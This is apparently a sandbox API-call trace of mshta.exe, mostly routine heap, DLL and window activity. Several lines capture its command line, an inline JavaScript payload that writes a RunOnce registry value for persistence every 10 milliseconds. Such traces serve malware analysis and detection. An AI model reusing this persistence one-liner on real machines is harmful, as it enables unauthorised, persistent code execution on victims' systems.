RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4580 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4600 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e45a0 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4420 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4440 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4400 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4700 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4720 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x28) returned 0x9e2848 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e46a0 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e43c0 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4660 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e45c0 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4620 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4780 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e45e0 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e43e0 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x28) returned 0x9e26f8 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4680 [0251.372] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e46c0 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4640 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4480 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e44a0 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e44c0 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4520 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4540 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x28) returned 0x9e2728 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4900 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4ae0 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4b60 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e48c0 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e49e0 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e47c0 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4960 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4ac0 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x28) returned 0x9e2758 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4b00 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4b20 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4b40 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e47e0 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4a40 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4940 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4800 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0x9e4920 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x28) returned 0x9e2788 [0251.373] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x28) returned 0x9e2908 [0251.373] __dllonexit () returned 0x72e23300 [0251.374] __dllonexit () returned 0x72e23320 [0251.374] __dllonexit () returned 0x72e23330 [0251.374] __dllonexit () returned 0x72e23340 [0251.374] _CIsqrt () returned 0x4000027f [0251.374] __dllonexit () returned 0x72e23360 [0251.374] __dllonexit () returned 0x72e23370 [0251.374] __dllonexit () returned 0x72e23380 [0251.375] __dllonexit () returned 0x72e233a0 [0251.377] __dllonexit () returned 0x72e233c0 [0251.377] __dllonexit () returned 0x72e233d0 [0251.377] __dllonexit () returned 0x72e233f0 [0251.377] __dllonexit () returned 0x72e23410 [0251.377] __dllonexit () returned 0x72e23430 [0251.377] __dllonexit () returned 0x72e23440 [0251.377] RtlInitializeConditionVariable (in: ConditionVariable=0x73881618 | out: ConditionVariable=0x73881618) [0251.377] __dllonexit () returned 0x72e23450 [0251.377] __dllonexit () returned 0x72e23460 [0251.377] __dllonexit () returned 0x72e23470 [0251.377] __dllonexit () returned 0x72e23480 [0251.378] __dllonexit () returned 0x72e23490 [0251.378] __dllonexit () returned 0x72e234a0 [0251.378] __dllonexit () returned 0x72e234c0 [0251.378] __dllonexit () returned 0x72e234f0 [0251.378] __dllonexit () returned 0x72e23500 [0251.379] __dllonexit () returned 0x72e23530 [0251.379] __dllonexit () returned 0x72e23520 [0251.379] __dllonexit () returned 0x72e23510 [0251.379] __dllonexit () returned 0x72e23540 [0251.379] __dllonexit () returned 0x72e23560 [0251.379] __dllonexit () returned 0x72e23580 [0251.379] __dllonexit () returned 0x72e235c0 [0251.379] __dllonexit () returned 0x72e235a0 [0251.379] __dllonexit () returned 0x72e235b0 [0251.379] __dllonexit () returned 0x72e235d0 [0251.380] __dllonexit () returned 0x72e235f0 [0251.380] __dllonexit () returned 0x72e23610 [0251.380] __dllonexit () returned 0x72e23620 [0251.380] __dllonexit () returned 0x72e23640 [0251.380] __dllonexit () returned 0x72e23650 [0251.380] __dllonexit () returned 0x72e23660 [0251.380] __dllonexit () returned 0x72e23670 [0251.380] RtlInitializeConditionVariable (in: ConditionVariable=0x73889c9c | out: ConditionVariable=0x73889c9c) [0251.380] RtlInitializeConditionVariable (in: ConditionVariable=0x73889ca0 | out: ConditionVariable=0x73889ca0) [0251.381] __dllonexit () returned 0x72e23680 [0251.381] __dllonexit () returned 0x72e23690 [0251.381] __dllonexit () returned 0x72e236a0 [0251.381] __dllonexit () returned 0x72e236b0 [0251.381] __dllonexit () returned 0x72e236c0 [0251.381] __dllonexit () returned 0x72e236e0 [0251.381] __dllonexit () returned 0x72e236d0 [0251.382] __dllonexit () returned 0x72e236f0 [0251.382] __dllonexit () returned 0x72e23710 [0251.382] __dllonexit () returned 0x72e23720 [0251.382] RtlInitializeConditionVariable (in: ConditionVariable=0x73889f18 | out: ConditionVariable=0x73889f18) [0251.382] __dllonexit () returned 0x72e23760 [0251.382] __dllonexit () returned 0x72e23750 [0251.382] __dllonexit () returned 0x72e237d0 [0251.383] __dllonexit () returned 0x72e237f0 [0251.383] __dllonexit () returned 0x72e23810 [0251.383] __dllonexit () returned 0x72e23860 [0251.383] GetCurrentThreadId () returned 0xe38 [0251.383] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x95f018, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0251.383] PathFindFileNameW (pszPath="C:\\WINDOWS\\SysWOW64\\mshta.exe") returned="mshta.exe" [0251.383] StrCmpICW (pszStr1="mshta.exe", pszStr2="IEXPLORE.EXE") returned 4 [0251.383] StrCmpICW (pszStr1="mshta.exe", pszStr2="MSFEEDSSYNC.EXE") returned 2 [0251.383] StrCmpICW (pszStr1="mshta.exe", pszStr2="SYSPREP.EXE") returned -6 [0251.383] StrCmpICW (pszStr1="mshta.exe", pszStr2="EXPLORER.EXE") returned 8 [0251.383] StrCmpICW (pszStr1="mshta.exe", pszStr2="LOADER42.EXE") returned 1 [0251.383] StrCmpICW (pszStr1="mshta.exe", pszStr2="WWAHOST.EXE") returned -10 [0251.383] StrCmpICW (pszStr1="mshta.exe", pszStr2="IEUTLAUNCH.EXE") returned 4 [0251.383] StrCmpICW (pszStr1="mshta.exe", pszStr2="TE.EXE") returned -7 [0251.383] StrCmpICW (pszStr1="mshta.exe", pszStr2="Te.ProcessHost.exe") returned -7 [0251.383] StrCmpICW (pszStr1="mshta.exe", pszStr2="FAKEVIRTUALSURFACETESTAPP.EXE") returned 7 [0251.383] StrCmpICW (pszStr1="mshta.exe", pszStr2="MSOOBE.EXE") returned -7 [0251.383] StrCmpICW (pszStr1="mshta.exe", pszStr2="NETPLWIZ.EXE") returned -1 [0251.383] StrCmpICW (pszStr1="mshta.exe", pszStr2="USERACCOUNTBROKER.EXE") returned -8 [0251.384] StrCmpICW (pszStr1="mshta.exe", pszStr2="MSHTMPAD.EXE") returned -12 [0251.384] StrCmpICW (pszStr1="mshta.exe", pszStr2="FirstLogonAnim.exe") returned 7 [0251.384] StrCmpICW (pszStr1="mshta.exe", pszStr2="RESTOREOPTIN.EXE") returned -5 [0251.384] StrStrIW (lpFirst="mshta.exe", lpSrch="DCIScanner") returned 0x0 [0251.384] StrCmpICW (pszStr1="mshta.exe", pszStr2="microsoftedge.exe") returned 10 [0251.384] StrCmpICW (pszStr1="mshta.exe", pszStr2="microsoftedgecp.exe") returned 10 [0251.384] StrCmpICW (pszStr1="mshta.exe", pszStr2="serviceworkerhost.exe") returned -6 [0251.384] StrCmpICW (pszStr1="mshta.exe", pszStr2="pickerhost.exe") returned -3 [0251.384] StrCmpICW (pszStr1="mshta.exe", pszStr2="msvsmon.exe") returned -14 [0251.384] StrCmpICW (pszStr1="mshta.exe", pszStr2="browser_broker.exe") returned 11 [0251.384] StrCmpICW (pszStr1="mshta.exe", pszStr2="jshost.exe") returned 3 [0251.384] StrCmpICW (pszStr1="mshta.exe", pszStr2="authhost.exe") returned 12 [0251.384] FindAtomW (lpString="{4653C0A4-2B2D-48DE-AB80-93910A28F900}") returned 0x0 [0251.384] AddAtomW (lpString="{4653C0A4-2B2D-48DE-AB80-93910A28F900}") returned 0xc000 [0251.416] EtwEventRegister (in: ProviderId=0x95f20c, EnableCallback=0x72d76ef0, CallbackContext=0x7376d6a0, RegHandle=0x7376d6b8 | out: RegHandle=0x7376d6b8) returned 0x0 [0251.416] LdrResolveDelayLoadedAPI () returned 0x77c02340 [0251.416] EtwEventSetInformation (RegHandle=0x9e0008, InformationClass=0x1b, EventInformation=0x2, InformationLength=0x72941e1c) returned 0x0 [0251.416] LdrResolveDelayLoadedAPI () returned 0x75d50d50 [0251.417] CoCreateGuid (in: pguid=0x7387e1a4 | out: pguid=0x7387e1a4*(Data1=0x16b926cc, Data2=0xf5a1, Data3=0x4353, Data4=([0]=0x99, [1]=0x1, [2]=0xdd, [3]=0x14, [4]=0x32, [5]=0x47, [6]=0x43, [7]=0x5))) returned 0x0 [0251.417] RtlInitializeConditionVariable (in: ConditionVariable=0x73884378 | out: ConditionVariable=0x73884378) [0251.417] RtlInitializeConditionVariable (in: ConditionVariable=0x73884374 | out: ConditionVariable=0x73884374) [0251.417] RtlInitializeConditionVariable (in: ConditionVariable=0x73884370 | out: ConditionVariable=0x73884370) [0251.417] RtlInitializeConditionVariable (in: ConditionVariable=0x7388436c | out: ConditionVariable=0x7388436c) [0251.417] RtlInitializeConditionVariable (in: ConditionVariable=0x73884368 | out: ConditionVariable=0x73884368) [0251.417] RtlInitializeConditionVariable (in: ConditionVariable=0x73884364 | out: ConditionVariable=0x73884364) [0251.417] RtlInitializeConditionVariable (in: ConditionVariable=0x73884360 | out: ConditionVariable=0x73884360) [0251.417] RtlInitializeConditionVariable (in: ConditionVariable=0x7388435c | out: ConditionVariable=0x7388435c) [0251.417] RtlInitializeConditionVariable (in: ConditionVariable=0x73884358 | out: ConditionVariable=0x73884358) [0251.417] RtlInitializeConditionVariable (in: ConditionVariable=0x73884354 | out: ConditionVariable=0x73884354) [0251.418] RtlInitializeConditionVariable (in: ConditionVariable=0x73884350 | out: ConditionVariable=0x73884350) [0251.418] RtlInitializeConditionVariable (in: ConditionVariable=0x7388434c | out: ConditionVariable=0x7388434c) [0251.418] RtlInitializeConditionVariable (in: ConditionVariable=0x73884348 | out: ConditionVariable=0x73884348) [0251.418] RtlInitializeConditionVariable (in: ConditionVariable=0x73884344 | out: ConditionVariable=0x73884344) [0251.418] RtlInitializeConditionVariable (in: ConditionVariable=0x73884340 | out: ConditionVariable=0x73884340) [0251.418] RtlInitializeConditionVariable (in: ConditionVariable=0x7388433c | out: ConditionVariable=0x7388433c) [0251.418] RtlInitializeConditionVariable (in: ConditionVariable=0x73884398 | out: ConditionVariable=0x73884398) [0251.418] RtlInitializeConditionVariable (in: ConditionVariable=0x73884338 | out: ConditionVariable=0x73884338) [0251.418] RtlInitializeConditionVariable (in: ConditionVariable=0x73884334 | out: ConditionVariable=0x73884334) [0251.418] RtlInitializeConditionVariable (in: ConditionVariable=0x73884330 | out: ConditionVariable=0x73884330) [0251.420] LdrResolveDelayLoadedAPI () returned 0x74153140 [0251.444] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0251.540] InitOnceExecuteOnce (in: InitOnce=0x7388206c, InitFn=0x72d87fc0, Parameter=0x0, Context=0x0 | out: InitOnce=0x7388206c, Parameter=0x0, Context=0x0) returned 1 [0251.541] GetVersionExA (in: lpVersionInformation=0x73882070*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x73882070*(dwOSVersionInfoSize=0x9c, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0251.541] InitOnceExecuteOnce (in: InitOnce=0x7388206c, InitFn=0x72d87fc0, Parameter=0x0, Context=0x0 | out: InitOnce=0x7388206c, Parameter=0x0, Context=0x0) returned 1 [0251.543] GetSystemMetrics (nIndex=68) returned 4 [0251.543] GetSystemMetrics (nIndex=69) returned 4 [0251.543] GetProfileIntA (lpAppName="windows", lpKeyName="DragDelay", nDefault=20) returned 0x14 [0251.544] GetVersionExW (in: lpVersionInformation=0x95f07c*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x95f06c, dwMinorVersion=0x9e5030, dwBuildNumber=0x95f2d0, dwPlatformId=0x77c29fd0, szCSDVersion="\x6c46\xe270\x61ce\x952f\xf0a8\x95\xdd8\x75ed\x02") | out: lpVersionInformation=0x95f07c*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0251.544] GetUserDefaultUILanguage () returned 0x409 [0251.544] GetLocaleInfoW (in: Locale=0x409, LCType=0x58, lpLCData=0x95f170, cchData=16 | out: lpLCData="\x03") returned 16 [0251.544] GetKeyboardLayoutList (in: nBuff=32, lpList=0x95f1a0 | out: lpList=0x95f1a0) returned 1 [0251.544] GetCurrentProcessId () returned 0xd00 [0251.544] ProcessIdToSessionId (in: dwProcessId=0xd00, pSessionId=0x95f190 | out: pSessionId=0x95f190) returned 1 [0251.544] WTSGetActiveConsoleSessionId () returned 0x1 [0251.544] HeapCreate (flOptions=0x0, dwInitialSize=0x0, dwMaximumSize=0x0) returned 0xb30000 [0251.545] GetVersion () returned 0x3ad7000a [0251.545] GetModuleHandleW (lpModuleName="Kernel32.dll") returned 0x75e90000 [0251.545] GetProcAddress (hModule=0x75e90000, lpProcName="HeapSetInformation") returned 0x75ea5850 [0251.545] HeapSetInformation (HeapHandle=0xb30000, HeapInformationClass=0x0, HeapInformation=0x95f220, HeapInformationLength=0x4) returned 1 [0251.545] RegisterClipboardFormatA (lpszFormat="Embedded Object") returned 0xc00a [0251.545] RegisterClipboardFormatA (lpszFormat="Embed Source") returned 0xc00b [0251.545] RegisterClipboardFormatA (lpszFormat="Link Source") returned 0xc00d [0251.545] RegisterClipboardFormatA (lpszFormat="Link Source Descriptor") returned 0xc00f [0251.545] RegisterClipboardFormatA (lpszFormat="Object Descriptor") returned 0xc00e [0251.546] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x140) returned 0xd9e4b8 [0251.546] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0251.546] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x78) returned 0xd9e600 [0251.546] rand_s (in: _RandomValue=0x95f048 | out: _RandomValue=0x95f048) returned 0x0 [0251.546] rand_s (in: _RandomValue=0x95f048 | out: _RandomValue=0x95f048) returned 0x0 [0251.546] VirtualAlloc (lpAddress=0x0, dwSize=0x110000, flAllocationType=0x202000, flProtect=0x4) returned 0x4940000 [0251.546] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x2600) returned 0x4a50048 [0251.547] SystemParametersInfoW (in: uiAction=0x4a, uiParam=0x0, pvParam=0x95f220, fWinIni=0x0 | out: pvParam=0x95f220) returned 1 [0251.547] SystemParametersInfoW (in: uiAction=0x200a, uiParam=0x0, pvParam=0x95f21c, fWinIni=0x0 | out: pvParam=0x95f21c) returned 1 [0251.547] GetCurrentProcessId () returned 0xd00 [0251.548] _vsnwprintf (in: _Buffer=0x95f238, _BufferCount=0x16, _Format="%s%08lX", _ArgList=0x95f224 | out: _Buffer="#MSHTML#PERF#00000D00") returned 21 [0251.548] OpenFileMappingW (dwDesiredAccess=0x2, bInheritHandle=0, lpName="#MSHTML#PERF#00000D00") returned 0x0 [0251.548] EtwEventRegister (in: ProviderId=0x72876fd8, EnableCallback=0x72d432c0, CallbackContext=0x73768b18, RegHandle=0x73884328 | out: RegHandle=0x73884328) returned 0x0 [0251.548] EtwEventSetInformation (RegHandle=0x9dfbd0, InformationClass=0x18, EventInformation=0x2, InformationLength=0x72876fc0) returned 0x0 [0251.548] EtwEventRegister (in: ProviderId=0x72876fb0, EnableCallback=0x72d432c0, CallbackContext=0x73768ae0, RegHandle=0x73884320 | out: RegHandle=0x73884320) returned 0x0 [0251.548] EtwEventRegister (in: ProviderId=0x72876fa0, EnableCallback=0x72d432c0, CallbackContext=0x73768a70, RegHandle=0x73884310 | out: RegHandle=0x73884310) returned 0x0 [0251.548] EtwEventRegister (in: ProviderId=0x72876f90, EnableCallback=0x72d432c0, CallbackContext=0x73768aa8, RegHandle=0x73884318 | out: RegHandle=0x73884318) returned 0x0 [0251.548] RegGetValueW (in: hkey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\OUTLOOK.EXE", lpValue="Path", dwFlags=0x2, pdwType=0x0, pvData=0x95f014, pcbData=0x95f010*=0x208 | out: pdwType=0x0, pvData=0x95f014, pcbData=0x95f010*=0x62) returned 0x0 [0251.548] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Program Files\\Microsoft Office\\Root\\Office16\\outllib.dll", lpdwHandle=0x95f00c | out: lpdwHandle=0x95f00c) returned 0x0 [0251.549] GetModuleHandleW (lpModuleName=0x0) returned 0x1320000 [0251.549] GetModuleFileNameW (in: hModule=0x1320000, lpFilename=0x95f018, nSize=0x104 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0251.549] PathFindFileNameW (pszPath="C:\\WINDOWS\\SysWOW64\\mshta.exe") returned="mshta.exe" [0251.549] RegGetValueW (in: hkey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Application Compatibility", lpValue="mshta.exe", dwFlags=0x18, pdwType=0x0, pvData=0x95f014, pcbData=0x95f010*=0x4 | out: pdwType=0x0, pvData=0x95f014, pcbData=0x95f010*=0x4) returned 0x2 [0251.550] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x128) returned 0xd9e680 [0251.550] RtlInterlockedPopEntrySList (in: ListHead=0xd90878 | out: ListHead=0xd90878) returned 0x0 [0251.550] VirtualAlloc (lpAddress=0x494a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x494a000 [0251.551] _itow_s (in: _Value=0, _Buffer=0x95f20c, _BufferCount=0xa, _Radix=10 | out: _Buffer="0") returned 0x0 [0251.551] _itow_s (in: _Value=1, _Buffer=0x95f20c, _BufferCount=0xa, _Radix=10 | out: _Buffer="1") returned 0x0 [0251.551] _itow_s (in: _Value=2, _Buffer=0x95f20c, _BufferCount=0xa, _Radix=10 | out: _Buffer="2") returned 0x0 [0251.552] _itow_s (in: _Value=3, _Buffer=0x95f20c, _BufferCount=0xa, _Radix=10 | out: _Buffer="3") returned 0x0 [0251.552] _itow_s (in: _Value=4, _Buffer=0x95f20c, _BufferCount=0xa, _Radix=10 | out: _Buffer="4") returned 0x0 [0251.552] GetCurrentProcess () returned 0xffffffff [0251.552] GetProcessTimes (in: hProcess=0xffffffff, lpCreationTime=0x95f1a8, lpExitTime=0x95f1a0, lpKernelTime=0x95f1a0, lpUserTime=0x95f1a0 | out: lpCreationTime=0x95f1a8, lpExitTime=0x95f1a0, lpKernelTime=0x95f1a0, lpUserTime=0x95f1a0) returned 1 [0251.553] NtQuerySystemInformation (in: SystemInformationClass=0xa4, SystemInformation=0x95f694, Length=0x20, ResultLength=0x0 | out: SystemInformation=0x95f694, ResultLength=0x0) returned 0x0 [0251.553] GetCommandLineW () returned="mshta.exe \"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"" [0251.553] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x20a) returned 0x9e5030 [0251.553] LdrResolveDelayLoadedAPI () returned 0x77953e50 [0251.559] OleInitialize (pvReserved=0x0) returned 0x0 [0251.733] IsWindow (hWnd=0x0) returned 0 [0251.733] RegisterClassW (lpWndClass=0x95f658) returned 0xc16c [0251.734] CreateWindowExW (dwExStyle=0x0, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0x0, hMenu=0x0, hInstance=0x1320000, lpParam=0x7387f498) returned 0x10020a [0251.747] NtdllDefWindowProc_W (hWnd=0x10020a, Msg=0x24, wParam=0x0, lParam=0x95f214) returned 0x0 [0251.747] NtdllDefWindowProc_W (hWnd=0x10020a, Msg=0x81, wParam=0x0, lParam=0x95f208) returned 0x1 [0251.752] NtdllDefWindowProc_W (hWnd=0x10020a, Msg=0x83, wParam=0x0, lParam=0x95f1f4) returned 0x0 [0251.756] NtdllDefWindowProc_W (hWnd=0x10020a, Msg=0x1, wParam=0x0, lParam=0x95f208) returned 0x0 [0251.757] CreateWindowExW (dwExStyle=0x40000, lpClassName="HTML Application Host Window Class", lpWindowName="", dwStyle=0x2cf0000, X=-2147483648, Y=-2147483648, nWidth=-2147483648, nHeight=-2147483648, hWndParent=0x10020a, hMenu=0x0, hInstance=0x1320000, lpParam=0x7387f498) returned 0x80030 [0251.758] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x24, wParam=0x0, lParam=0x95f214) returned 0x0 [0251.758] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x81, wParam=0x0, lParam=0x95f208) returned 0x1 [0251.758] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x83, wParam=0x0, lParam=0x95f1f4) returned 0x0 [0251.759] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x1, wParam=0x0, lParam=0x95f208) returned 0x0 [0251.760] SetWindowLongW (hWnd=0x80030, nIndex=-16, dwNewLong=-2100363264) returned 114229248 [0251.760] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x7c, wParam=0xfffffff0, lParam=0x95f62c) returned 0x0 [0251.760] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x7d, wParam=0xfffffff0, lParam=0x95f62c) returned 0x0 [0251.764] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x7f, wParam=0x2, lParam=0x0) returned 0x0 [0251.764] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x7f, wParam=0x0, lParam=0x0) returned 0x0 [0251.764] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x7f, wParam=0x1, lParam=0x0) returned 0x0 [0251.764] SetWindowPos (hWnd=0x80030, hWndInsertAfter=0xfffffffe, X=0, Y=0, cx=0, cy=0, uFlags=0x37) returned 1 [0251.764] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x46, wParam=0x0, lParam=0x95f63c) returned 0x0 [0251.764] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x83, wParam=0x1, lParam=0x95f614) returned 0x0 [0251.765] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x47, wParam=0x0, lParam=0x95f63c) returned 0x0 [0251.766] SendMessageW (hWnd=0x80030, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0251.766] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0251.766] NtdllDefWindowProc_W (hWnd=0x80030, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0251.766] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x20a) returned 0x9f0d70 [0251.767] PathGetArgsW (pszPath="\"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"") returned="" [0251.767] wcsncmp (_String1="", _String2="{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}", _MaxCount=0x26) returned -123 [0251.767] LdrResolveDelayLoadedAPI () returned 0x75f73da0 [0251.767] PathRemoveArgsW (in: pszPath="\"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"" | out: pszPath="\"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"") [0251.767] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x20a) returned 0x9f0f88 [0251.767] RtlReAllocateHeap (Heap=0x9d0000, Flags=0x0, Ptr=0x9f0f88, Size=0x20c) returned 0x9f0f88 [0251.767] memcpy_s (in: _Destination=0x9f1190, _DestinationSize=0x2, _Source=0x95f68a, _SourceSize=0x2 | out: _Destination=0x9f1190) returned 0x0 [0251.767] RtlReAllocateHeap (Heap=0x9d0000, Flags=0x0, Ptr=0x9e5030, Size=0x20c) returned 0x9e5030 [0251.767] PathRemoveBlanksW (in: pszPath="\"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"" | out: pszPath="\"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"") [0251.767] PathUnquoteSpacesW (in: lpsz="\"javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);\"" | out: lpsz="javascript:o=new ActiveXObject('WScript.Shell');x=new 